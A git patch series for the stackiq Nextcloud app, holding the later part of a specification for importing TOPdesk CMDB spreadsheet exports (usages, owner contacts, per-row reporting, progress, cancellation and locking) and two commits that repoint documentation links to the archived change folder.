+For each imported module the service SHALL keep exactly one `usage` with `consumer` = the municipality and `module` = the module, found by those two references and created when missing. The usage pack SHALL map "Applicatie Status" to `status` and "Classificatie" to `timeClassification` through lookups, "End-of-Life Functioneel" to `startDateOutPhased`, and the sheet's `Beheer` constant, "Cluster" and "Applicatie Eigenaar (Afdeling)" to `interneAnnotation`, so the note records whether maintenance is arranged (`Beheer geregeld: nee` for "Onbeh Applicaties CMDB", `ja` for "Beheerde Applicaties CMDB"). Empty parts SHALL be left out of the note. `interneAnnotation` and `timeClassification` SHALL be written only when the usage is created or the field is empty, so a note or TIME classification an admin set in stackiq is never overwritten by a re-import; `status`, `startDateOutPhased`, `provider` and `businessOwner` follow the export on every update. A status that changed in the source SHALL reach the usage: the usage lifecycle SHALL declare, per state, a transition to it from every other state with `authorization` `["admin"]` (fragment `topdesk-cmdb-import.json`, usage 1.5.6), so the import follows TOPdesk while every other user keeps the regular transitions. The section's help text for "Update existing records" SHALL say which fields a re-import overwrites and which it only sets on create. + +#### Scenario: The usage records whether maintenance is arranged +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports a row from each sheet. + +- **GIVEN** a row on "Onbeh Applicaties CMDB" with "Cluster" `H10` and "Applicatie Eigenaar (Afdeling)" `H10 Accounting` +- **WHEN** it is imported +- **THEN** its usage SHALL have `interneAnnotation` = `Beheer geregeld: nee / H10 / H10 Accounting` +- **AND** a row on "Beheerde Applicaties CMDB" without a cluster SHALL get `Beheer geregeld: ja / ` + +#### Scenario: Portaliq can show the application to the municipality +@e2e exclude Crosses into Portaliq, whose account claim is outside this change; tests/Unit/Service/CmdbExportImportServiceTest.php asserts the usage references, and the manual test plan checks Portaliq's "Software we use". + +- **GIVEN** a Portaliq account with claim `stackiq.organisationId` = the uuid of "Gemeente Voorbeeldstad" +- **WHEN** the anonymised export is imported for "Gemeente Voorbeeldstad" +- **THEN** a usage SHALL exist for each imported module with `consumer` = that uuid and `module` = the module's uuid +- **AND** that account SHALL see `Aangetekend Mailen` and `naamtest123` under "Software we use" + +#### Scenario: A re-import follows TOPdesk's status and keeps the TIME classification set in stackiq +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testAReimportFollowsTheStatusAndKeepsTheTimeClassificationOfAUsage re-imports two rows and asserts the status follows the export, an edited TIME classification stays, empty ones are filled, and the phase-out date follows the export, and tests/Unit/Service/Cmdb/CmdbImportProfileTest.php asserts the two create-only usage fields. + +- **GIVEN** the usage of APPID `1` for "Gemeente Voorbeeldstad" whose status an admin set to `To be phased out` and whose TIME classification to `Migrate`, and the usage of APPID `2` with neither +- **WHEN** a newer export with "Applicatie Status" `In productie`, "Classificatie" `Tolereren` and "End-of-Life Functioneel" `53359` for both is imported +- **THEN** the usage of APPID `1` SHALL get `In production`, SHALL keep `Migrate`, and SHALL get `startDateOutPhased` = `2046-02-01` +- **AND** the usage of APPID `2` SHALL get `In production` and `Tolerate` + +#### Scenario: A re-import does not add a second usage +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testReimportingTheSameExportChangesNothing imports twice and asserts unchanged object counts, usages included. + +- **GIVEN** the module with APPID `2` already has a usage for "Gemeente Voorbeeldstad" +- **WHEN** a newer export is imported for the same municipality +- **THEN** the module with APPID `2` SHALL still have exactly one usage for "Gemeente Voorbeeldstad" + +### Requirement: The owner SHALL become a contact person of the municipality through Nextcloud Contacts, never a user account, and SHALL never be publicly readable (REQ-CMDB-010) + +The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display name, which may be a function instead of a person's name) and "Applicatie Eigenaar (Functie)" (the role). No technical owner SHALL be imported; the functional administrator columns SHALL NOT be read. For the owner the service SHALL resolve a Nextcloud contact through `StackiqContactSyncService` by an exact match on the display name, or on the e-mail address when the export has one, and otherwise by creating one, all in a dedicated address book "Stackiq CMDB owners" of the admin who runs the import (`StackiqContactSyncService::syncToNamedAddressBook()` and `searchNamedAddressBook()`), which is created on first use. It SHALL NOT match a contact in any other address book of the admin, and SHALL NOT add an owner to them. It SHALL then reuse or create one `contactPerson` with that `contactsUid`, `organization` = the municipality and `role` = "Applicatie Eigenaar (Functie)" when given, and SHALL set `usage.businessOwner` to it. The import SHALL NOT create Nextcloud user accounts. When Nextcloud Contacts is unavailable, the row SHALL be imported without an owner and SHALL carry a warning. `contactPerson` and `usage` SHALL have no public read rule, so the owner is never readable by an anonymous visitor; a published module SHALL refer to them by relation only. + +#### Scenario: The owner becomes the business owner +@e2e exclude Needs a Contacts address book; tests/Unit/Service/CmdbExportImportServiceTest.php asserts the calls to a StackiqContactSyncService test double and the saved contactPerson. + +- **GIVEN** the "Onbeh" row with "Applicatie Eigenaar (Persoon)" `Achternaam, Voornaam` and "Applicatie Eigenaar (Functie)" `Afdelingshoofd`, and the "Beheerde" row whose person column holds the function `Teamleider Applicatiebeheer` +- **WHEN** they are imported for "Gemeente Voorbeeldstad" +- **THEN** one `contactPerson` SHALL exist per owner with the resolved `contactsUid`, `organization` = "Gemeente Voorbeeldstad" and the function as `role` +- **AND** each usage SHALL have `businessOwner` = its owner's contact person and no `technicalOwner` +- **AND** no Nextcloud user account SHALL be created + +#### Scenario: Imported owners are never readable anonymously +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** the anonymised export was imported, creating contact persons for its owners +- **WHEN** a visitor who is not signed in lists the `contactPerson` and `usage` objects through OpenRegister, or searches OpenCatalogi for an imported application +- **THEN** OpenRegister SHALL return no contact person and no usage +- **AND** the OpenCatalogi search hit SHALL carry no owner name, and its `contactPerson` and `usages` SHALL be empty or ids only + +#### Scenario: The same owner on two rows is one contact person +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testTheSameOwnerOnTwoRowsIsOneContactPerson. + +- **GIVEN** two rows with the same "Applicatie Eigenaar (Persoon)" +- **WHEN** they are imported +- **THEN** exactly one `contactPerson` for that contact SHALL exist for the municipality, referenced by both usages + +#### Scenario: A namesake in the admin's own address book is not linked +@e2e exclude Needs a CardDAV backend with two address books; tests/Unit/Service/CmdbExportImportServiceTest.php testOwnersAreMatchedOnlyInTheOwnersAddressBook asserts a personal contact with the owner's exact name is not linked while a contact in the owners' address book is reused, and tests/Unit/Service/StackiqContactSyncServiceTest.php testAnExistingContactIsMatchedOnlyInTheNamedAddressBook asserts the same for an e-mail address against the contacts manager's address book keys. + +- **GIVEN** an admin whose personal address book holds a contact "Voornaam Achternaam", and whose "Stackiq CMDB owners" address book holds "Teamleider Applicatiebeheer" +- **WHEN** they import a row with owner `Achternaam, Voornaam` and a row with owner `Teamleider Applicatiebeheer` +- **THEN** the first owner SHALL get a new contact in "Stackiq CMDB owners", and the personal contact SHALL NOT be linked or changed +- **AND** the second owner SHALL reuse the contact already in "Stackiq CMDB owners" + +#### Scenario: A new owner contact goes into the dedicated address book +@e2e exclude Needs a CardDAV backend; tests/Unit/Service/StackiqContactSyncServiceTest.php testNewContactsGoIntoTheNamedAddressBook asserts the "Stackiq CMDB owners" address book is created once and holds every new card, with no other address book written, and tests/Unit/Service/CmdbExportImportServiceTest.php testTheOwnerBecomesTheBusinessOwner asserts the import asks for that address book. + +- **GIVEN** an admin with a personal address book and no "Stackiq CMDB owners" address book +- **WHEN** they import a row whose owner has no Nextcloud contact yet +- **THEN** an address book "Stackiq CMDB owners" SHALL be created for that admin and SHALL hold the new contact +- **AND** the admin's personal address book SHALL NOT receive a contact +- **AND** when the address book cannot be created, the row SHALL be imported without an owner and SHALL carry a warning + +#### Scenario: Contacts disabled does not block the import +@e2e exclude Environment condition; tests/Unit/Service/CmdbExportImportServiceTest.php sets isAvailable() to false. + +- **GIVEN** the Nextcloud Contacts app is disabled +- **WHEN** the anonymised export is imported +- **THEN** both modules and usages SHALL be saved without owners +- **AND** each row with an owner SHALL carry the warning that owners were skipped because Contacts is unavailable + +### Requirement: Each row SHALL be processed in isolation and reported with its outcome (REQ-CMDB-011) + +The service SHALL process every non-empty row in its own error boundary. An exception in one row SHALL mark that row `failed` with the reason and SHALL NOT stop the import or change the outcome of other rows. Rows whose cells are all empty SHALL be ignored and not counted. The response SHALL contain a summary (rows read, created, updated, unchanged, skipped, failed, warnings) and one entry per counted row with sheet, row number, APPID, application name, outcome, reasons, warnings and the uuids of the module and usage. Report entries and log lines SHALL NOT contain owner names, e-mail addresses or other person data. The section SHALL render report values as text, never as HTML. + +#### Scenario: Upload with a per-row report +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** a Nextcloud admin, "Gemeente Voorbeeldstad" selected, and the anonymised export +- **WHEN** they start the import and it finishes +- **THEN** the section SHALL show 2 rows read and 2 created +- **AND** the report SHALL list `Onbeh Applicaties CMDB` row 2 APPID `1234` and `Beheerde Applicaties CMDB` row 2 APPID `2`, each with outcome `created` and a link to its module +- **AND** the hundreds of formatted but empty rows in both sheets SHALL NOT appear in the report + +#### Scenario: One bad row does not stop the others +@e2e exclude Fault injection; tests/Unit/Service/CmdbExportImportServiceTest.php makes saveObject() throw for one row of three. + +- **GIVEN** an export with three rows, where saving the module of the second row fails in OpenRegister +- **WHEN** it is imported +- **THEN** rows 1 and 3 SHALL be `created` +- **AND** row 2 SHALL be `failed` with a reason naming the step that failed +- **AND** the response SHALL be 200 with that summary + +#### Scenario: A row without a name is skipped with its reason +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testRowsAreSkippedWithTheirReasons asserts the row is skipped with `missing Applicatie Naam`. + +- **GIVEN** a row on "Beheerde Applicaties CMDB" with an APPID but an empty "Applicatie Naam" +- **WHEN** it is imported +- **THEN** it SHALL be `skipped` with reason `missing Applicatie Naam` + +### Requirement: Records missing from a newer export SHALL be left untouched (REQ-CMDB-012) + +The import SHALL accept `missingRecords` with the value `keep`, which is also the default. It SHALL NOT change, depublish or delete a module, usage, organisation or contact person because its APPID is absent from the upload. Any other value, including the reserved `mark` and `remove`, SHALL be refused with 422 `MISSING_RECORDS_UNSUPPORTED`. + +#### Scenario: An application dropped from the export stays +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports two rows, then one, and asserts the other module and usage are unchanged. + +- **GIVEN** the modules with APPID `1` and `7` were imported for "Gemeente Voorbeeldstad" +- **WHEN** a newer export that only contains APPID `1` is imported +- **THEN** the module with APPID `7` and its usage SHALL be unchanged + +#### Scenario: A reserved value is refused +@e2e exclude Validation; tests/Unit/Controller/CmdbImportControllerTest.php testAReservedMissingRecordsValueIsRefused. + +- **GIVEN** a valid export +- **WHEN** a Nextcloud admin posts it with `missingRecords=remove` +- **THEN** the endpoint SHALL answer 422 with error `MISSING_RECORDS_UNSUPPORTED` +- **AND** no object SHALL be written + +### Requirement: A running import SHALL report its progress and SHALL stop when cancelled (REQ-CMDB-013) + +The import SHALL run as a `ProgressTracker` operation of type `cmdb_import` under the `operationId` the client sends, or under a generated one, returned as `operationId` in the report, when the client's id does not match `cmdb-` plus 8 to 64 letters, digits or hyphens, or belongs to a `cmdb_import` that is still running; it SHALL update the processed row count after every row, readable through the existing `GET /api/progress/{operationId}`. `POST /api/cmdb-import/{operationId}/cancel`, admin-only (like the import, not open to delegated groups) and CSRF-protected, SHALL request cancellation. The service SHALL check for cancellation between rows, SHALL keep the rows already processed, and SHALL return the report with `cancelled: true`. The final report SHALL also be stored with the operation, so it can be read again within the tracker's lifetime. One import SHALL run per register at a time: the import SHALL hold an exclusive lock on its register from before the file is read until it returns or fails, and a second import while the lock is held SHALL be refused with 409 `IMPORT_IN_PROGRESS` before it reads the file or writes anything, because every match is find-then-create and two interleaved runs would each create the same records. + +#### Scenario: The admin follows and cancels a running import +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts covers the section: the progress, the cancel request for the page's operation and the cancelled report. A two-row import finishes before a cancel can land between rows, so the server's stop before the next row is asserted by tests/Unit/Service/CmdbExportImportServiceTest.php testACancelStopsBetweenRows (cancel after row 1 of three: one processed row, cancelled true). + +- **GIVEN** an import of three rows that is running +- **WHEN** the admin presses Cancel after the first row is done +- **THEN** the service SHALL stop before the second row +- **AND** the report SHALL show 1 processed row and `cancelled: true` +- **AND** the module created for the first row SHALL stay + +#### Scenario: A malformed or still-running operation id is replaced +@e2e exclude The page always sends a fresh valid id; tests/Unit/Service/CmdbExportImportServiceTest.php testTheIdOfARunningOperationIsReplaced starts an operation under an id and imports with the same id, and testAnIdWithATrailingNewlineIsRefused imports with "cmdb-12345678\n"; both assert the report's operationId is a new id matching the pattern, and the first that the running operation keeps its owner and progress. + +- **GIVEN** a `cmdb_import` operation `cmdb-live-00001` that is still running for another admin +- **WHEN** a Nextcloud admin imports with `operationId` `cmdb-live-00001`, or with `cmdb-12345678` followed by a newline +- **THEN** the import SHALL run under a generated id, and the report's `operationId` SHALL be that id +- **AND** the running operation SHALL keep its owner and its progress + +#### Scenario: A second import while one runs is refused +@e2e exclude Two concurrent multipart requests cannot be timed reliably in the browser suite; tests/Unit/Service/CmdbExportImportServiceTest.php testASecondImportWhileOneRunsIsRefused starts a second import from inside the first and asserts 409 IMPORT_IN_PROGRESS with no save while the first runs on, testTheLockIsReleasedWhenTheImportThrows asserts the lock is released after a failure, and tests/Unit/Controller/CmdbImportControllerTest.php asserts the status and the translated message. + +- **GIVEN** an import for "Gemeente Voorbeeldstad" that is running +- **WHEN** a second admin starts an import into the same register +- **THEN** the endpoint SHALL answer 409 with error `IMPORT_IN_PROGRESS` to the second admin +- **AND** the second import SHALL write nothing, and the first SHALL run to its end +- **AND** once the first import has returned or failed, a new import SHALL be accepted + +### Requirement: The admin settings SHALL offer a CMDB import section (REQ-CMDB-014) + +Stackiq's admin settings page SHALL show a section "CMDB import", rendered by the settings page and not registered as an in-app route. The section SHALL let the admin choose an existing municipality or type the name of a new one, choose an `.xlsx` file, and start the import. While the import runs it SHALL show a progress bar and a Cancel button. Afterwards it SHALL show the summary and a report table that can be filtered by outcome. Every control SHALL have a visible label, and every string SHALL be translatable. + +#### Scenario: The admin runs an import from the settings page +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** a Nextcloud admin on stackiq's admin settings page +- **WHEN** they choose "Gemeente Voorbeeldstad", choose the anonymised export and press "Import" +- **THEN** a progress bar SHALL appear while the import runs +- **AND** afterwards the summary and the report table SHALL be shown +- **AND** filtering the table on `created` SHALL show the two imported rows + +## Non-Functional Requirements + +- **Performance:** an export of 1,100 rows SHALL import on the local rig without exceeding PHP's default memory limit, by loading only the source sheets in read-data-only mode. A re-import of an unchanged export SHALL make no `saveObject()` call for unchanged modules and usages. Lookups of organisations, modules and contact persons SHALL be cached per import run, so each distinct vendor, APPID and contact is looked up at most once. +- **Security:** an uploaded third-party file is input: xlsx only, bounded size and row count, no formula evaluation (cached values only), no external links, header-name resolution, per-row isolation, routes for Nextcloud admins only, not for delegated groups, with CSRF (REQ-CMDB-001 to 003, 011). No cell value is ever rendered as HTML. +- **Privacy:** only the owner columns named in REQ-CMDB-010 are read into stackiq, and the objects holding them are never publicly readable. The report and the logs contain no person data. Test fixtures are anonymised and carry no document metadata naming real people. +- **Accessibility:** Target WCAG 2.2 AA. The section uses Nextcloud and `@conduction/nextcloud-vue` components: labelled file input and municipality select (SC 1.3.1, 3.3.2; gates `form-label-association`, `nc-input-labels`), a labelled Cancel button (SC 4.1.2; gate `button-name`), a progress bar and summary announced through a polite live region (SC 4.1.3; `axe`), and a report table with header cells (SC 1.3.1; gate `table-headers`). New in 2.2: 2.4.11 Focus Not Obscured applies (the report must not hide focus behind sticky headers); 2.5.7 Dragging Movements does not apply (the file input works without drag and drop); 2.5.8 Target Size applies to the buttons (Nextcloud defaults); 3.2.6 Consistent Help does not apply (no help mechanism added); 3.3.7 Redundant Entry applies (the chosen municipality stays selected after an import); 3.3.8 Accessible Authentication does not apply (no authentication step). +- **Internationalization:** Dutch and English MUST be supported (ADR-005) for the section, the error messages and the report reasons. + +## Acceptance Criteria + +- [ ] A Nextcloud admin imports the anonymised TOPdesk export for a chosen municipality, and the report lists both data rows as created. +- [ ] Importing the same export again creates no object, and reports both rows as unchanged. +- [ ] A changed "Applicatie Naam" in a newer export updates the same module (matched on APPID); `publicationDate` and fields the export does not map stay as they were. +- [ ] With "Publish the applications this import creates" off, the created modules have no `publicationDate` and the summary counts them as unpublished. +- [ ] Rows with the same "Vendor" share one supplier organisation. +- [ ] Every imported module has one usage whose consumer is the municipality. +- [ ] A missing "APPID" or "Applicatie Naam" column stops the import with 422 naming the column and sheet; a non-xlsx or oversized file is rejected before reading. +- [ ] One failing row is reported as failed while the other rows are imported. +- [ ] The imported owner is not readable without signing in. +- [ ] Imported modules are found by OpenCatalogi's search, and appear in Portaliq's "Software we use" for the municipality's account, once both apps are configured as the docs describe. ## Notes -- Follows the upload patterns of `sbom-import` and `archimate-import`. -- Related: stackiq#373 (live TOPdesk connector), stackiq#1127 (record - reconciliation), stackiq#1134 (ITSM exchange). +- Mapping decisions per column, including the columns that are not mapped because the target schema has no field, are listed in the change's [design.md](../../changes/archive/2026-10-05-cmdb-export-import/design.md). +- Connections, suites, hosting parties ("Hostingpartij"), "Leverancier", the archive sheet "Gearchiveerde Applicaties" and `missingRecords: mark|remove` are follow-ups (proposal, Out of Scope). +- Related: stackiq#373 (live TOPdesk connector), stackiq#1127 (record reconciliation), stackiq#1134 (ITSM exchange, the opposite direction), sbom-import and archimate-import (the upload patterns this follows). From e942102797961e2c037635fa3cb38096ecb8c73d Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 23:41:16 +0200 Subject: [PATCH 175/176] =?UTF-8?q?fix(review):=20#1232=20f3=20=E2=80=94?= =?UTF-8?q?=20link=20the=20proposal's=20Out=20of=20Scope=20from=20the=20sp?= =?UTF-8?q?ec=20notes?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-Authored-By: Claude Opus 5.5 (1M context) --- openspec/specs/cmdb-export-import/spec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/openspec/specs/cmdb-export-import/spec.md b/openspec/specs/cmdb-export-import/spec.md index 31908e4fd..5ceb45ca0 100644 --- a/openspec/specs/cmdb-export-import/spec.md +++ b/openspec/specs/cmdb-export-import/spec.md @@ -594,5 +594,5 @@ Stackiq's admin settings page SHALL show a section "CMDB import", rendered by th ## Notes - Mapping decisions per column, including the columns that are not mapped because the target schema has no field, are listed in the change's [design.md](../../changes/archive/2026-10-05-cmdb-export-import/design.md). -- Connections, suites, hosting parties ("Hostingpartij"), "Leverancier", the archive sheet "Gearchiveerde Applicaties" and `missingRecords: mark|remove` are follow-ups (proposal, Out of Scope). +- Connections, suites, hosting parties ("Hostingpartij"), "Leverancier", the archive sheet "Gearchiveerde Applicaties" and `missingRecords: mark|remove` are follow-ups (the change's [proposal](../../changes/archive/2026-10-05-cmdb-export-import/proposal.md#out-of-scope), Out of Scope). - Related: stackiq#373 (live TOPdesk connector), stackiq#1127 (record reconciliation), stackiq#1134 (ITSM exchange, the opposite direction), sbom-import and archimate-import (the upload patterns this follows). From b6c33762fa517a40fb3b072bdd185bd0557e730f Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 23:41:16 +0200 Subject: [PATCH 176/176] =?UTF-8?q?fix(review):=20#1232=20f4=20=E2=80=94?= =?UTF-8?q?=20point=20the=20API=20docs,=20Newman=20folder=20and=20fixtures?= =?UTF-8?q?=20README=20at=20the=20archived=20change?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit openapi.json, the Newman folder description and tests/fixtures/cmdb/README.md named openspec/changes/cmdb-export-import, which no longer exists after the archive. Class docblocks and @spec tags keep the change path, as the other archived changes' tags do; gate 46 resolves them through the archive. Co-Authored-By: Claude Opus 5.5 (1M context) --- openapi.json | 2 +- postman/stackiq-tests.json | 2 +- tests/fixtures/cmdb/README.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/openapi.json b/openapi.json index 6cc9cf429..8fb3f440c 100644 --- a/openapi.json +++ b/openapi.json @@ -13,7 +13,7 @@ "post": { "operationId": "cmdbImport-import", "summary": "Import a TOPdesk CMDB export (xlsx) for one municipality", - "description": "Nextcloud admins only (not the groups delegated the stackiq admin settings), CSRF-protected (requesttoken header or OCS-APIRequest: true). Creates or updates modules, supplier organisations, usages and owner contact persons, matched on topdesk::. See openspec/changes/cmdb-export-import/contract.md.", + "description": "Nextcloud admins only (not the groups delegated the stackiq admin settings), CSRF-protected (requesttoken header or OCS-APIRequest: true). Creates or updates modules, supplier organisations, usages and owner contact persons, matched on topdesk::. See openspec/changes/archive/2026-10-05-cmdb-export-import/contract.md.", "tags": [ "cmdb-import" ], diff --git a/postman/stackiq-tests.json b/postman/stackiq-tests.json index cb80111f5..385214b7c 100644 --- a/postman/stackiq-tests.json +++ b/postman/stackiq-tests.json @@ -22550,7 +22550,7 @@ }, { "name": "12 - CMDB import", - "description": "openspec/changes/cmdb-export-import (contract.md). Run newman from the app root so the fixture path tests/fixtures/cmdb/ resolves.", + "description": "openspec/changes/archive/2026-10-05-cmdb-export-import (contract.md). Run newman from the app root so the fixture path tests/fixtures/cmdb/ resolves.", "item": [ { "name": "CMDB import: 401 when not signed in", diff --git a/tests/fixtures/cmdb/README.md b/tests/fixtures/cmdb/README.md index b7e4843db..415cef21b 100644 --- a/tests/fixtures/cmdb/README.md +++ b/tests/fixtures/cmdb/README.md @@ -1,6 +1,6 @@ # CMDB import fixtures -Test workbooks for the TOPdesk CMDB import (`openspec/changes/cmdb-export-import`). +Test workbooks for the TOPdesk CMDB import (`openspec/changes/archive/2026-10-05-cmdb-export-import`). They are used by the PHPUnit tests under `tests/Unit/` and by the Playwright test `tests/e2e/spec-coverage/cmdb-import.spec.ts`.